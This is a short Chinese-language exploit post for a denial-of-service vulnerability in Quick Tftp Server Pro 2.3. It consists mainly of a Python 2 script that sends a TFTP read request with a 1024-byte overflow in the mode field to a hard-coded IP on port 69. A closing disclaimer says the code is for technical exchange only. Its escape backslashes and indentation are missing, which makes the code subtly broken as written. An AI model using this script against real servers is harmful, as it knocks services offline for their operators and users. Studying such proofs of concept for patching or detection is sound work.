Quick Tftp Server Pro 2.3 读取模式拒绝服务
Quick Tftp Server Pro 是一个使用较为广泛的tftp的服务软件
在读取模式下,会造成拒绝服务
以下为python代码
需要安装socket组件,一般会自带,如果没有就使用pip install socket即可
import socket
host = "192.168.135.132"
port = 69
request = "x00x01" # TFTP Read Request (RRQ)
file = "file.txt"
mode = 'x41' * 1024 # Overflow
buffer = request + file + "x00" + mode + "x00"
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print "[*] Sending buffer to %s (%d bytes)..." % (host, len(buffer))
s.sendto(buffer, (host, port))
s.close()
print "[*] Done."
except:
print "[-] Error connecting"
以上代码具有攻击性,请遵守当地法律法规,此代码只作为技术交流使用,请勿使用非法用途。